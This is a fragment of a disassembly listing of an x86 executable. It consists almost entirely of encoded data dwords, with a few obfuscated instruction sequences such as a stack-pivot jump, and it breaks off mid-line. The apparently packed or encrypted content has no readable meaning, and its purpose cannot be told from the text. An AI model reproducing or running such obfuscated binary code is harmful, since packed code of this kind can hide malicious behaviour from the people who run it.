0F9F740E9h, 956A68FFh, 36E9060Dh, 29FFF9F7h, 3694E07Ch dd 3C9AE674h, 3F9DE973h, 3F9DE993h, 0B6A0EC78h, 78D5495h dd 0F955DBBh, 119F65C3h, 18A467C5h, 0FDE59CCh, 0F001E22Ch dd 0BE6E5231h, 3924E6FBh, 3EEAC432h, 4D9DEDA0h, 0EA763997h dd 8A16D937h, 66EAB10Fh, 61AD63B3h, 0A11C4C72h, 42F87C43h dd 0FF894CC7h, 66EEB7EEh, 716A6FA3h, 3CB4ECBBh, 0B101FC13h dd 33002FFEh, 43E6F00Bh, 7746C1EBh, 0F00B33C4h, 0F3934999h dd 99CA7F31h, 4171h, 744A8D00h, 0FCB679F4h, 0D22097AFh dd 0DD602FAAh, 82F60CABh, 32017C32h, 0FC13B9A2h, 7DF8ABFBh dd 8B3938BAh, 0B86E074Ch, 0BDE46E9h, 25FDA0F0h, 0CAE79456h dd 0E6D499h, 0FB590000h, 0A9F9AC38h, 18DB0FF3h, 0B47BD98Ch dd 9457B530h, 0CBA48895h, 89D93117h, 0A8C66FC6h, 671D4BEDh dd 0F79356B4h, 0A053A331h, 0A5F17F42h, 0C0172D6h, 0F07C3FF6h dd 7F6629A4h, 0E75478DFh, 0DFA200B6h, 8C5BD651h, 0F60CF2A9h dd 0FDB066B6h, 3DB8B00Eh, 0DA8D17DFh, 8A59D48Ah, 0FC130D72h dd 0A29160DBh, 0BBF00BC2h, 42A01B6Bh, 0F642F896h, 70FAB87Bh dd 2301E59Dh, 28407E6Dh, 0DD432ADh, 40F30F14h, 0D929A371h dd 5120D626h, 0FA11CA86h, 0E644BF0Fh, 0E745911Fh, 75359420h dd 91B4CCB6h, 109988DEh, 0DF8C0000h, 0D193F13Dh, 0D099F743h dd 0F6A2004Ch, 0E7AE0C58h, 2230D59h, 327E02C9h, 36820CD4h dd 388412D8h, 3D8917DAh, 0BD804FCAh, 0A2F001E1h, 14DBDFC3h dd 23E64490h, 22571A95h, 9B81753Dh, 21055107h, 0B9960BEh dd 0AA38FA58h, 0A157A7F7h, 874E0CB2h, 5F2EA9F9h, 0FC13757Dh dd 0D09F52A2h, 0F00B6A61h, 4E16AA72h, 75C515C8h, 179D64C2h dd 0F149EC64h, 0E39638E4h, 57FA4393h, 8B5AD5FFh, 0F00B6AA8h dd 0FAF65B5h, 99CA3C4Dh, 0E84B1A95h, 75F00B7Eh, 58DBAA25h dd 5F00B7Eh, 0BE7CFFB5h, 98000000h, 0C17443BEh, 9EF60C67h dd 9CEC7A40h, 37C588E6h, 0D15F2684h dd 6BF94F1Eh, 7CAF60Ch, 0F4A0FE79h, 9147974Ah, 9824E745h dd 6FFDBF1Dh, 3B66CBCh, 43BEAA14h, 0C2891DE5h, 0EB3B8B3Eh dd 0B732E838h, 43F2C13Ch, 1CF60C64h, 2D4716CCh, 82FC139Bh dd 0D6BE632h, 1B0AC044h, 874AC5A3h, 5A6E2527h, 0EF6A202Bh dd 116B6A20h, 47FCFFAh, 8143DFA6h, 0A0F040F3h, 0A12FF654h dd 0CC667242h, 0F6518B4h, 0F73h, 1B6705B2h, 216DFBBDh dd 2672FAC3h, 26721CC8h, 277301C8h, 14DB1C3Dh, 1EE64490h dd 28EE4C98h, 2DF04E9Ah, 65E0539Fh, 1E0A796h, 0F5D9B8F0h dd 449014DBh, 499523E6h, 7443BE65h, 0F60C67C1h, 3A984E9Eh dd 0D836E977h, 0AE8D5C15h, 0AFF60C67h, 65C30F5Fh, 765189Ch dd 0B36CB844h, 0B4B40A22h, 7D2A6A39h, 2373FC13h, 8D919F6Eh dd 0DB1EB91h, 0EA65E05Bh, 8143181Bh, 32F54507h, 4A72E121h dd 3B0AC0F1h, 0D9EF709h, 84732676h, 55B32E3Ah, 8F520593h dd 0D2A329F4h, 12C818CDh, 3865C897h, 0BE390B9Ch, 8CF74CEFh dd 0BC11107h, 866E131h, 0A503B640h, 4C0252DEh, 0CDB56D1h dd 78CF729h, 66B07336h, 9C65DEDFh, 7538964Ch, 7A3D9BE7h dd 8F2F8FEEh, 34E7C35Ah, 0E96DEh, 3AE28F00h, 40CE90EEh dd 47CD96F4h, 4BF19DFBh, 56DAA1FFh, 0BEFF200Ah, 0BF1D69F7h dd 0C3216DF7h, 0CD2B77FDh, 0BF327E0Ah, 0EFC67544h, 0B897F001h dd 8C18DBD4h, 0F5ECB311h, 1B7A1497h, 0DC8FDF54h, 3423D68Ch dd 9463DE8Ah, 0FC136F8Ch, 8E7DC919h, 0EEBD3830h, 0FA14727Ah dd 5DE0AF2Ah, 2F60C6Dh, 0C422FCB2h, 742777FDh, 0C6D9AA5h dd 61B95CF6h, 0C3395012h, 599093h, 9A150000h, 0C7168CBh dd 0D497F5F6h, 5E42F848h, 7681744Ah, 6B09B98Eh, 0C47715C1h dd 59D42474h, 13A2118Ah, 8F5ED9FCh, 0F00B3DACh, 3DF24110h dd 1B6BF00Bh, 613BF141h, 0BD1B9611h, 5BB96FF5h, 0F4C30F95h dd 0F00B3D43h, 0F743D194h, 0CE5C1E7Ch, 6EF4BA18h, 0DC565BBh dd 0BE810000h, 67C17443h, 4E9EF60Ch, 0E69C2AF0h, 26A1C7F7h dd 19EC8357h, 4DC818FCh, 7D51CA8Ah, 661CFFDEh, 3ECA8DEBh dd 0D0D194F2h, 0A9673020h, 15E45FC5h, 0F0019F26h, 0E497E737h dd 249FC9F5h, 1413E255h, 0A82373FAh, 7EF9874Ah, 1B013403h dd 0E5EF60Ch, 0EBAE0C58h, 3BBAA5Dh, 0B51BEA65h, 0E2FC13EBh dd 0D5953392h, 0C679AED3h, 0D5670h, 7A22CF00h, 800ED02Eh dd 870DD634h, 8B31DD3Bh, 961AE13Fh, 0FE3F604Ah, 0FF5DA937h dd 361AD37h, 0D6BB73Dh, 0FF72BE4Ah, 0EE86B584h, 0F8D7F001h dd 67C76A14h, 91EFF60Ch, 439346CAh, 48209E8Dh, 0ECC3FECDh dd 0E434FC19h, 0BC480B69h, 0C14F1270h, 0C99F1F0Eh, 0F9917F4Eh dd 0A806FA1Eh, 2AA558E6h, 6F6D85Bh, 0E53585F6h, 979C3695h dd 0B76AB4D0h, 0CE261h, 0F6964300h, 0FC8A4CAAh, 38952B0h dd 0FAD59B7h, 129E65C3h, 82BBDCC6h, 8BE935BBh, 8FED39C3h dd 91EF3BC9h, 83F642CEh, 0EDFA3908h, 8463F001h, 8C18DBA0h dd 2CB87BD9h, 27FFA279h, 0C32A9658h, 6C8D693h, 0BEF20000h dd 5B0E9860h, 60B034FDh, 6503BBAAh, 0ECF11BEAh, 0E5EFC19h dd 0E86C3593h, 0B42FE535h, 3B907639h, 574C9183h, 0F48043A1h dd 0F9874AA8h, 0CC87746h, 3688F001h, 88D85E24h, 0E7CF920Dh dd 7BA92EE4h, 58C8974Dh, 2CFA1E48h, 4753E2B1h, 0C088F606h dd 560C5C36h, 0FCD2C7Ch, 0CBB4D109h, 0C39C218h, 3FEC0000h dd 31F3519Dh, 30F957A3h, 560260ACh, 470E6CB8h, 62836DB9h dd 92DE6229h, 96E26C34h, 98E47238h, 9DE9773Ah, 5DE0AF2Ah dd 2F001ECh, 43BE3F23h, 29805E80h, 3A093AE3h, 0F60C63FBh dd 5E1464h, 0B934AF3Dh, 3D0C985Bh, 0F60C63FEh, 0D88B19DBh dd 8E50AE88h, 0ADFD4D00h, 6BC944F7h, 56319A3h, 2C03B642h dd 20E2B189h, 6093C32Fh, 5F2h, 67C76A7Ch, 437BF60Ch, 854CAA25h dd 673605D4h, 0D727F60Ch, 0CE84D487h, 8E5DD853h, 0F60C67AFh dd 0DBAA60B0h, 0FC19ECF1h, 35930E5Eh, 3C9AE672h, 4938EB79h dd 0A978F375h, 0FA1EF9A7h, 0A541A0F0h, 49B4D098h, 0B7D4096h dd 0FBA80000h, 0E5A70551h, 0E4AD0B57h, 0AB61460h, 0F3BA1864h dd 1637216Dh, 36820ED5h, 3A8610D8h, 449016DCh, 499523E6h dd 0A98C5BD6h, 0B6F001ECh, 18DBF3D7h, 774E118Ch, 9DAA09Eh dd 10C34912h, 501270C0h, 9BF0FC2h, 0A735F856h, 48CE96F4h dd 7432D295h, 0F5A5965h, 0AF62EEB1h, 80F04AEDh, 7113B344h dd 704797E8h, 642675CDh, 0A493C3FFh, 536h, 0F4744AC0h dd 0EC19AA79h, 1262FC19h, 0EA763997h, 0EF7D409Eh, 0E3C26D3Ch dd 407EF001h, 72DEAD28h, 0A3FA1EF9h, 97FCF453h, 0DF92B4D0h dd 0ADA89h, 0FE9E4B00h, 49254B2h, 0B915AB8h, 17B561BFh dd 1AA66DCBh, 8AC3E4CEh, 93F13DC3h, 97F541CBh, 99F743D1h dd 8BFE4AD6h, 0EBF24110h, 8C6BF001h, 9860BEA8h, 0AD0B5B0Eh dd 46A45AE6h, 0E442F583h, 9E09321h, 0FDBFCC66h, 3D93C32Ah dd 4B6h, 9860BE59h, 0AB89580Eh, 9FF60C67h, 70CE491Fh, 0E6C1FADh dd 0BB0BBE4Ch, 6B3AB56Bh, 0FC19EC77h, 0B3118CDCh, 0BA1864F0h dd 3BB669F7h, 0E342F1C0h, 0CB1BF001h, 0E3B28150h, 5BABF001h dd 6008B6A5h, 44616E5h, 87D7FA1Eh, 0D08CD228h, 2B8134B4h dd 0A37h, 4F9B41EEh, 55A12FF1h, 5AA62EF7h, 62AE50FCh, 6BB73D04h dd 60276081h, 622A88D4h, 6C3290DCh, 793C9AE6h, 0B12C9FEBh dd 1EA53E2h, 492D0CF0h, 88B1FBBEh, 50DB9A84h, 0EB793C9Ah dd 0C14F1270h, 37FA580Bh, 0F58CAF7Eh, 8A4DF60Ch, 84D424FEh dd 0D26C0FD1h, 0A5A027EAh, 0A4ED501Fh, 2272F60Ch, 0FBCF7D5Fh dd 9824E745h, 7F235A1Dh, 0BB284774h, 5719B905h, 9793C343h dd 17Ch, 8C18DBB3h, 3E005ED9h, 4D7EFA3Dh, 0B1018543h, 5205A753h dd 2BEE4C02h, 8A3DC78Fh, 8C3649C7h, 53A3935Fh, 0B62A09D8h dd 0E333F60Ch, 6ECC4793h, 75641AA8h, 0D5A41F49h, 0FC13BB9Bh dd 0E13C884Bh, 1C88D6FBh, 13710059h, 0EC40CFEh, 0B69E434h dd 8B06B943h, 0BD479BCh, 4696E6F0h, 2FD26083h, 0E79DEB5Bh dd 0B2DA6534h, 791CF00Bh, 10D2A1h, 325099CBh, 6C000000h dd 79F4744Ah, 13752AAAh, 29F873FCh, 0F00B6A0Ah, 0B30353h dd 0B6A0E31h, 0ED45E8F0h, 0CA3BDC9Eh, 0CB1C99h, 26A10000h dd 0B7EE457h, 732979F0h, 8C18DB8Fh, 6507B311h, 18E762B2h dd 0F60C6725h, 8134EA3Ah, 25D85C23h, 0C57804C7h, 0CC18A467h dd 0C923BFDh, 57E5A8F6h, 53A21C0Bh, 400FB588h, 0F60C85FDh dd 844F1262h, 7BF64618h, 0F4BD711Dh, 1D6DBD70h, 0B56BF9BFh dd 87396B3Ah, 87E5FC16h, 308033C1h, 0D1840AD2h, 93F1CB81h dd 77F242CAh, 83B281FCh, 0DCF00558h, 0B178D68Ch, 0FE5CD723h dd 98F6AC52h, 0D46E35D1h, 0E737870Dh, 0D1EA7C88h, 0A1F7AAAEh dd 88Bh, 34FED9Ah, 955E3A5h, 0E5AE2ABh, 0E5A04B0h, 0F5BE9B0h dd 0FCC30425h, 6CE2C78h, 10D63480h, 15D83682h, 4DC83B87h dd 1E9BF7Eh, 0DDC1A0F0h, 449014DBh, 499523E6h, 8C18DB65h dd 2CB87BD9h, 410765E0h, 6BA7FDB3h, 0C3000002h, 9C9D60BEh dd 0A9426B35h, 5A0D5D56h, 5AE4AC0Ah, 0B2A157A7h, 12E15C0Ch dd 0FC1329C6h, 7D4CFF4Fh, 0F00B26B2h, 0EAB99134h, 99CA7028h dd 5A20AD70h, 2CF6D673h, 1D9F376h, 0BE0F0000h, 570D9760h dd 0C67B288h, 3C2C92F6h, 0ECF2F2C1h, 0FB4BFC19h, 7360580h dd 58F001E3h, 5CD75208h dd 0DDA03CFEh, 0EB49FF4Fh, 0F2509C28h, 0FFEEA12Fh, 4BD99BBFh dd 7DF84898h, 58DEA402h, 401D3A2h, 4E9EFA1Eh, 0D08D1FEFh dd 0EE44F7B4h, 7B3h, 0DB27C572h, 0E12DBB7Dh, 0E632BA83h dd 0E632DC88h, 0E733C188h, 0D49BDCFDh, 0DEA60450h, 0E8AE0C58h dd 0EDB00E5Ah, 25A0135Fh, 1E8E756h, 0B59978F0h, 0D98C18DBh dd 0B12CB87Bh, 0D8F7AFEEh, 0CB815EC9h, 9BB35618h, 0B1FD8B4Eh dd 0C38C4F11h, 1358F93h, 51140000h, 0FFA2F86Fh, 694D039Dh dd 926118DBh, 0F60C67A3h, 8E28C38h, 57B568B8h, 0AD33FA94h dd 0E5AAAFAh, 4EC99F1Fh, 136A417Fh, 0B366B6FCh, 0B655DE4h dd 5D209BF0h, 0D08BDA78h, 921CE4A2h, 893F8FDFh, 6644CE6h dd 55E3A65Ah, 4F0252A2h, 0F2A52BF1h, 0FC9C52A2h, 99CB043Ah dd 257Ah, 744A9600h, 2AAA79F4h, 73FC1375h, 9EA17023h, 58F00B6Ah dd 4C0E9DB5h, 8C99CA3Ch, 98h, 67EDB311h, 18DBCDB1h, 0B47BD98Ch dd 5C1F7D30h, 30F755D0h, 0EBA1F1A4h, 8917DA38h, 0BA3A6E3Dh dd 4407F60Ch, 0EA7A3DB8h, 0B4563D63h, 23125E14h, 8352CD9Bh dd 0FC16E341h, 95F36EBEh, 0E86E34CEh, 4995E535h, 41A024EBh dd 0AED1CED7h, 9072C87Bh, 95000006h, 9AF844E8h, 0A0FE4AD8h dd 0A3014DD7h, 0AB0955F7h, 2A1460E4h, 7B09D009h, 8309D12Fh dd 8D13D937h, 9420E341h, 8B5AD548h, 0F001F7A8h, 0DBF2D6B5h dd 0E6449014h, 571A9523h, 0D783ADF7h, 0A3F47235h, 0A488D48Ah dd 0D98C18DBh, 0B12CB87Bh, 0A58672EEh, 128DAC57h, 0C85F043h dd 671D6DF6h, 58C51Bh, 0BEE10000h, 5A0D9760h, 33F6540Ah dd 0DCABBB32h, 479726D3h, 0B38251CCh, 0ACF60CF2h, 0F2D36231h dd 3C8CF60Ch, 970029ECh, 0FCD5C693h, 72359346h, 40BB33E6h dd 0C4871BE2h, 0E5358538h, 55E8B732h, 0AF60CA7h, 11B46ABAh dd 5BE9AC39h, 32C082E0h, 2D792F7Fh, 25D7h, 18DBF300h, 260AD98Ch dd 59F60C67h, 8E519CB6h, 4964FE8Fh, 57A77DE1h, 1ED27EDCh dd 0C919CC72h, 0C076C679h, 18DB9074h, 0D4EAD98Ch, 59561994h dd 40F3C2F8h, 1DF60C50h, 6C200ACDh, 0E6B530E6h, 0FC19A830h dd 239E1969h, 0C37602C5h, 64179D65h, 0B00EC414h, 68A51EDh dd 490C6AB6h, 0A659E7ADh, 0C88B0656h, 0BB036DB4h, 0C98FED4Eh dd 57D2853Bh, 0F7AA36F9h, 2B8EAD7Ch, 7FCFF001h, 56E5B42Fh dd 7F0012Bh, 0AC1201B7h, 0D5DEBAEh, 0A774C392h, 91E1FA14h dd 67F5B816h, 6EFABD1Bh, 847D40BBh, 9022CFF4h, 2498475h dd 32BA783Fh, 37318D7Ch, 6EE3EDBCh, 0E434FC13h, 0D3539D85h dd 0C016C9AEh, 513h, 7BC76512h, 81CD5B1Dh, 86D25A23h, 86D27C28h dd 87D36128h, 743B7C9Dh, 7E46A4F0h, 884EACF8h, 8D50AEFAh dd 0C540B3FFh, 1F547F6h, 553918F0h, 408C18DBh, 0DE911FE2h dd 0B23E0563h, 4DDB9EFCh, 1D35D89Ah, 47F0DD0h, 677BBA89h dd 69E4F60Ch, 0C679B9Ah, 2474C4F6h, 2CA7226Eh, 0C67DE5Dh dd 792F7FF6h, 0C32F17D9h, 565793h, 4A730000h, 0FE79F474h dd 0C670C2Fh, 4B0151F6h, 0B38801D0h, 91E1FC13h, 66F0B816h dd 32AD63B3h, 0E9259B7h, 0AE34FA58h, 810FD533h, 2C043706h dd 959F00Bh, 7380753h, 0D8F00B2Ch, 0DD3B8715h, 80D68917h dd 45Fh, 78BB8A05h, 0E5F00B2Ch, 8336BE87h, 492DE333h, 0C17443BEh dd 0B5F60C67h, 0F71E1473h, 0C919F3C6h, 66F2B513h, 939255B3h dd 3E3C2C19h, 47CE918Eh, 92F64C81h, 2BA6F242h, 0CA7D0BCDh dd 0E9D5C47Ah, 0FB35047Fh, 4CFC13DEh, 0D13302D1h, 0DC2CF00Bh dd 270AD98Ch, 0C1F00BD1h, 0B577041Eh, 0F599CAE0h, 53h dd 0F4744A11h, 953BFE79h, 393BE8B7h, 353D9A1h, 0A258DCA5h dd 1302C1D3h, 5B0E5EFCh, 0B1DA58Ch, 0E0662EF0h, 908CF2Dh dd 1B5A5227h, 0DC8FDFF0h, 6A69C164h, 0D7A47E21h, 99CADD15h dd 2013E25Dh, 3DF00BDDh, 0D4B437EDh, 39000000h, 0DD9014DBh dd 0DBF3D78Dh, 0B3118C18h, 0EEB164F0h, 28D45BC3h, 0D48ADA12h dd 9C48A621h, 39EF3FF2h, 0DD9014DBh, 0A705BC7Fh, 0AA8958E4h dd 0B3F60C49h, 2601363h, 0EA65B13Fh, 8C3FC58Ch, 91B7863Ch dd 62F60C45h, 67C5119Fh, 766518A4h, 2AA52048h, 42373367h dd 4C02D73Ch, 135FDB7Dh, 0B0FC4CFCh, 0F06BFDC1h, 11E4ED21h dd 7BF646FAh, 13C9571Dh, 0ED733A98h, 0F87C43A1h, 0CCCD9399h dd 9EF4A7B4h, 32Bh, 63AF4DFAh, 69B54305h, 6EBA420Bh, 6EBA6410h dd 6FBB4910h, 5C236485h, 662E8CD8h, 703694E0h, 753896E2h dd 0AD289BE7h, 1F35FDEh, 3D2100F0h, 449014DBh, 0C18723E6h dd 23D66225h, 80D083D3h, 84D45A22h, 80084609h, 4DCAAB4Bh dd 4A674B97h, 1B79F474h, 0CD1DD054h, 2EFD5D0Ah, 762CEECEh dd 0BFA82CFBh, 0A5F5FC13h, 7A04CC2Ah, 0EC177C7h, 0BA0F03Fh dd 0FB53F6F0h, 0CAF5EAACh, 1122A99h, 0BE460000h, 0F9D9E60h dd 12BD62F0h, 0EE3EF141h, 8917DA38h, 5DE7B00Eh, 0FC8A4CAAh dd 0C843F6ACh, 0C1287605h, 0DECEEC7Bh, 4BD99C1Dh, 0FD5B115Bh dd 7CF7AA36h, 10BC581Eh, 99681E6Eh, 0F60C728Fh, 53B0B174h dd 0DE0044B3h, 1363F1B4h, 81FC77C3h, 4D36123h, 0F60CE531h dd 0CA28DE2Eh, 0FBF6B07h, 0F36EBE46h, 0CE51124h, 0AEFE4EF6h dd 0B6B20CFBh, 9AC6C3Bh, 0A9F9FC13h, 18506E5Dh, 0AE33CE9Dh dd 0C184FA11h, 0C600B7ADh, 0DEA6047Eh, 555A558h, 0DB692C8Ah dd 854CAA25h, 0AB0984FFh, 0AE8D5CE8h, 0EF60257h, 257FC3Fh dd 371161F6h, 9E9D6CE7h, 0BFF60257h, 0F6DB96Fh, 5FE5AE48h dd 0AD0C5CACh, 0B4CCF989h, 0E074CA7Dh, 45000001h, 4AA8F498h dd 50AEFA88h, 53B1FD87h, 5BB905A7h, 0DAC41094h, 2BB980B9h dd 33B981DFh, 3DC389E7h, 44D093F1h, 3B0A85F8h, 0F001F2F8h dd 0BEA28665h, 97D7C8FBh, 3B9410Fh, 0D752DEA5h, 7C2FCD79h dd 0CC2A762Ch, 4B2F7B09h, 989960BEh, 2D524B05h, 0CB81D1EDh dd 6B1EAA6Dh, 97A675F0h, 0C8F60C4Ch, 0A164C278h, 0A669C713h dd 8EEC671Ah, 3A8A3DCBh, 3F299584h, 0BD5BF5C4h, 5CACFC13h dd 38BC83E1h, 0CC7F3585h, 30BD9538h, 0A493DF6Dh, 75D34E1Ah dd 0F26D23C9h, 1477C123h, 933F9DFAh, 88E636E9h, 2F7F32DCh dd 0D44F9F79h, 49BE0611h, 0B16793A1h, 4FDDA0FEh, 0A981249Ch dd 0BA35338Bh, 136099EBh, 4A96E6FCh, 0C68D29ECh, 0E737873Ah dd 0B9470E6Ch, 4D00B606h, 0E89B29EFh, 0B47BD954h, 0CDAB7ABDh dd 92E29C24h, 36D98FDFh, 9056B41Ch, 58A82EF4h, 0F67E47A5h dd 0EDA3F343h, 0C540CC8Fh, 0A43FD302h, 23D9EB29h, 92D6E8D7h dd 6CF0B917h, 45C03BB6h, 0BB6C776h, 77DCAFF0h, 3A05B8ABh dd 0E9B21060h, 42DEAD63h, 12FA14B2h, 0B164F2B4h, 54078D53h dd 24FEB404h, 2BA621D4h, 0C6DD95Ch, 803686F6h, 345E5F22h dd 0D2D03F7Eh, 0F3873A8Ah, 0BCEF650h, 67FD224Ah, 88772D2Bh dd 0E8B73236h, 0FC13C348h, 32216DBDh, 7A08CE8Ch, 2E0AF2Ah dd 0C6FA1E97h, 9813A168h, 6986AC9h, 0EDA3F3F6h, 0B210C313h dd 23E661EFh, 9BAD2CEAh, 57A359DCh, 0F7AA36F9h, 3F0EBB28h dd 77CF7236h, 0CD19A76Ah, 6D20AC6Fh, 6346630Fh, 1160B414h dd 0B9F52A2h, 88E6CE68h, 238137C5h, 2A88D460h, 7C08CB67h dd 19A36BC9h, 4BC679C9h, 283201D0h, 0DEA7B62Eh, 7953A356h dd 81D7329h, 39000000h, 0E9860BEh, 0DB886C58h, 7DDB8E2Eh dd 1D7B2EBAh, 0B816C957h, 55B366F0h, 0F14F028Eh, 95F3A62Ah dd 329043E9h dd 0D230E369h, 7ECF8210h, 81E78957h, 4C7h, 4EF8300h, 8B243C87h dd 0CB682424h, 8900001Eh, 8953240Ch, 4C381E3h, 83000000h dd 1C8704EBh, 4895C24h, 4EC8324h, 0B8240489h, 6FE77A89h dd 3504E0C1h, 74BF68EEh, 8708F025h, 853E357Fh, 0C1890C8Dh dd 101F6858h, 24890000h, 24048124h, 4, 7C756858h, 0C890000h dd 8408F24h, 582434FFh, 8B04C483h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- dw 0ABEDh dd 65CED2D7h, 0DD4A71A7h, 0B8F0C809h, 60D976Fh, 0E0FFC503h dd 68EB8CBDh, 2F273363h, 0F6339BBh, 50987DF7h, 45642896h dd 541D96ADh, 2282B0Bh, 28282F55h, 76B4647Ch, 1248D4F9h dd 34A46AEEh, 163E0E4Dh, 1EE92E2Eh, 65D31013h, 713731A3h dd 608A0C4Eh, 3776B6D5h, 1C5BCA52h, 3C906986h, 0FA3D3D8h dd 27F6EC2Dh, 48413B9Bh, 4645775Dh, 0BE8h, 6E2B9400h, 0E866C7B9h dd 0A0D823D3h, 14E8h, 7F082800h, 994CC8Bh, 6C6D0051h, 5359918h dd 0F1E276E7h, 6E9E9h, 0BE080000h, 0A9815F79h, 8B66595Bh dd 43C181D9h, 0FC000071h, 68h, 0FE8B6600h, 0FF38B358h dd 5EF80834h, 8EF681F8h, 0E914BFD1h, 9, 4E3A7A21h, 86B61A4Eh dd 5DC68164h, 8119DB7Eh, 506454EEh, 3489F539h, 8E0F5201h dd 5, 8EF78166h, 0E8835F97h, 9E804h, 0B3610000h, 9FA3F2BEh dd 504BD1E0h, 0B41995BBh, 815A5F70h, 0FF8F88F8h, 14850FFFh dd 0F000000h, 486h, 0F8F86000h, 1EE961h, 0BEC50000h, 0FFD6AACh dd 389h, 0F98B6600h, 0FFFF82E9h, 860BA8FFh, 5CCA18A7h dd 89EDD51h, 152585C6h, 68560607h, 0A9C530DFh, 1CBDB5FFh dd 858D0607h, 60A70F4h, 8D8DD0FFh, 6073255h, 0FF406A51h dd 7211DB5h, 8DB5FF06h, 0FF060706h, 1DB5FFD0h, 0FF060721h dd 7068DB5h, 0CE806h, 527B0000h, 0B2B21FFCh, 62D159C7h dd 5F5F8FA3h, 0C104EF83h, 0C102242Ch, 3022424h, 1CF7243Ch dd 8BDB3324h, 0F6811F34h, 5DAA1599h, 284CC681h, 0F68118B1h dd 7D91ED70h, 1F048F56h, 4B02EB83h, 241C3B4Bh, 0FFD9850Fh dd 9D8DFFFFh, 60720C5h, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh dd 0E8C98B18h, 0Ah, 1391B382h, 0F33B1E2Ch, 6058F4D1h, 85F78166h dd 12E9EDh, 0D6570000h, 862BAC35h, 78802DC7h, 0D3233C30h dd 8B1A358Ch, 0FC08161h, 0F8000060h, 890FFF33h, 2, 1C8BD38Bh dd 81EB8A38h, 71ACF8C3h, 0F38B6678h, 0A485F381h, 60517679h dd 52CB8B66h, 8159615Eh, 955FDF3h, 0B7D68065h, 0F381C89h dd 85h, 3EF8300h, 66B64FF5h, 0A06CFF81h, 850FFFFFh, 0FFFFFFBEh dd 8DD08B66h, 0D9B2B8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 9C2574ECh, 7E8h, 9B59300h dd 0A035F250h, 89616060h, 70059BDh, 0F586106h, 108Ch, 0A8F0F00h dd 0E9000000h, 5, 24A8E974h, 18D8970h, 0F06070Ah, 580h dd 946EBB00h, 85C74412h, 60714A5h, 5A44h, 10E9h, 95D2DC00h dd 0D79705A5h, 85B9CC1Eh, 633BAEA4h, 0D585C799h, 6072Fh dd 8B000000h, 0E18D09DAh, 0FF06070Eh, 705E1B5h, 13E906h dd 44EF0000h, 3DC619EDh, 9A18572Fh, 0DCD9260Fh, 0E4477538h dd 1995FFFBh, 8B06071Ch, 726499Dh, 0FF006A06h, 71B6995h dd 0EBC08B06h, 0FBA4400Eh, 71E3C52Fh, 88687EAEh, 0E89BA3CEh dd 10h, 4284AD59h, 946ECCA5h, 16101E53h, 8B2923B2h, 9D895EFCh dd 60731DDh, 5CB5C681h, 0CE90000h, 0BD000000h, 0E684C168h dd 0E59F4E8Dh, 689B7CAFh, 1701h, 5BF0EC80h, 0FFB7CC80h dd 0D0816636h, 8B590D45h, 70B71BDh, 8BC18106h, 662DA971h dd 81CBF7BFh, 0A17288C1h, 13E965h, 2B760000h, 60DBE2F0h dd 9AF6C1AAh, 0B4A45B3Dh, 1780B235h, 3BE9819Bh, 891B84EAh dd 7160185h, 0E80E8906h, 11h, 2F93EC64h, 3764654Dh, 13836943h dd 14BD4BA6h, 5A50536Eh, 0EE835F5Fh, 4EC78B02h, 0CF81664Eh dd 0EB837BF4h, 8C850F01h, 89FFFFFFh, 702D58Dh, 8EB06h dd 25000000h, 0E93F8081h, 4BFh, 0D9D1768h, 0E073E906h dd 0B968FFF9h, 0E9060D9Dh, 0FFF9E069h, 0D9EE968h, 0E05FE906h dd 5300FFF9h, 3DFF5DA9h, 3C0563AFh, 620E6CB8h, 4B1270BCh dd 6E8F79C5h, 8EDA662Dh, 92DE6830h, 9CE86E34h, 0A1ED7B3Eh dd 51E4B32Eh, 0EF001FBh, 60BE4B2Fh, 0C5C0F9Dh, 0A331F856h dd 7A08CA28h, 0EC177C7h, 8F51EDB0h, 0AEFE4E01h, 0A424E762h dd 49258C2h, 5984A341h, 5E0AB4A3h, 0B22414E3h, 0E131FC13h dd 0AED05F2Eh, 3A01F00Bh, 0E2A503B6h, 23C6A356h, 63D2A10Bh dd 0FCF00BAEh, 70135CACh, 0E52BEED6h, 93339815h, 0BF8121D7h dd 0FF99CAFBh, 2D4h, 62632684h, 0E45EA20Dh, 9F52A23Ch dd 80B5994Fh, 2AF04EF2h, 0AFF7D99Ch, 110EED0Ah, 16526C5Bh dd 0CD88CC9Bh, 0C515FC13h, 6B674110h, 3BBF576h, 0CD1BEA65h dd 3A077152h, 3499E177h, 0CA1AF2E8h, 0D2962817h, 88CC8857h dd 0D1210176h, 0A735F856h, 0AE3AFD5Bh, 7930AA4Fh, 55AB5EB9h dd 2F2h, 5BA745F2h, 61AD3BFDh, 66B23A03h, 66B25C08h, 67B34108h dd 541B5C7Dh, 5E2684D0h, 682E8CD8h, 6D308EDAh, 0A52093DFh dd 1FA67D6h, 3519F8F0h, 79F4744Ah, 1A0381AAh, 29EB49FCh dd 0E298E89Bh, 0C23DB808h, 0FCC57847h, 84B1F001h, 831207CCh dd 0F8AEFED8h, 14DD39Ah, 5E2DDCA3h, 0F0015EDFh, 5E2D10DFh dd 0E232F001h, 60FEAA08h, 77C69510h, 0E8F0015Eh, 52CD4898h dd 15EB083h, 0A75DADF0h, 2FFE79F4h, 0F0015E0Ch, 0A47E0ACDh dd 63CF9E54h, 44F0015Eh, 6F94F381h, 97BAE87Ah, 2508EE4h dd 0E7940000h, 0D99BF945h, 0D8A1FF4Bh, 0FEAA0854h, 0EFB61460h dd 0A2B1561h, 3A860AD1h, 3E8A14DCh, 408C1AE0h, 45911FE2h dd 0B58857D2h, 0AAF001FAh, 744AE7CBh, 9A693AE6h, 0F60C679Bh dd 712474C4h, 8756D121h, 0FC1A03BEh, 4110C313h, 0F001FCFEh dd 0AEFD55F8h, 99D0C5ECh, 1772Ch, 18DB4800h, 0B87BD98Ch dd 0CDF1E02Ch, 1F51209Bh, 0C7FC136Ah, 4E10A269h, 0E0BA70C0h dd 0AC521590h, 0E5582745h, 7AF00BE7h, 0BC9B672Ah, 15E4974Dh dd 0F00B9C2Ah, 0B063F1B7h, 7BB888EDh, 0F14F8F89h, 11EEA12Fh dd 0CE17D46Eh, 0C284132Bh, 299CAF8h, 3Bh, 0F4744A1Eh, 752AAA79h dd 1573FC13h, 0B210C369h, 0C21262F0h, 6AF1400Fh, 36E2F00Bh dd 0E522E598h, 34D6A676h, 66F4B614h, 0A27C1FB3h, 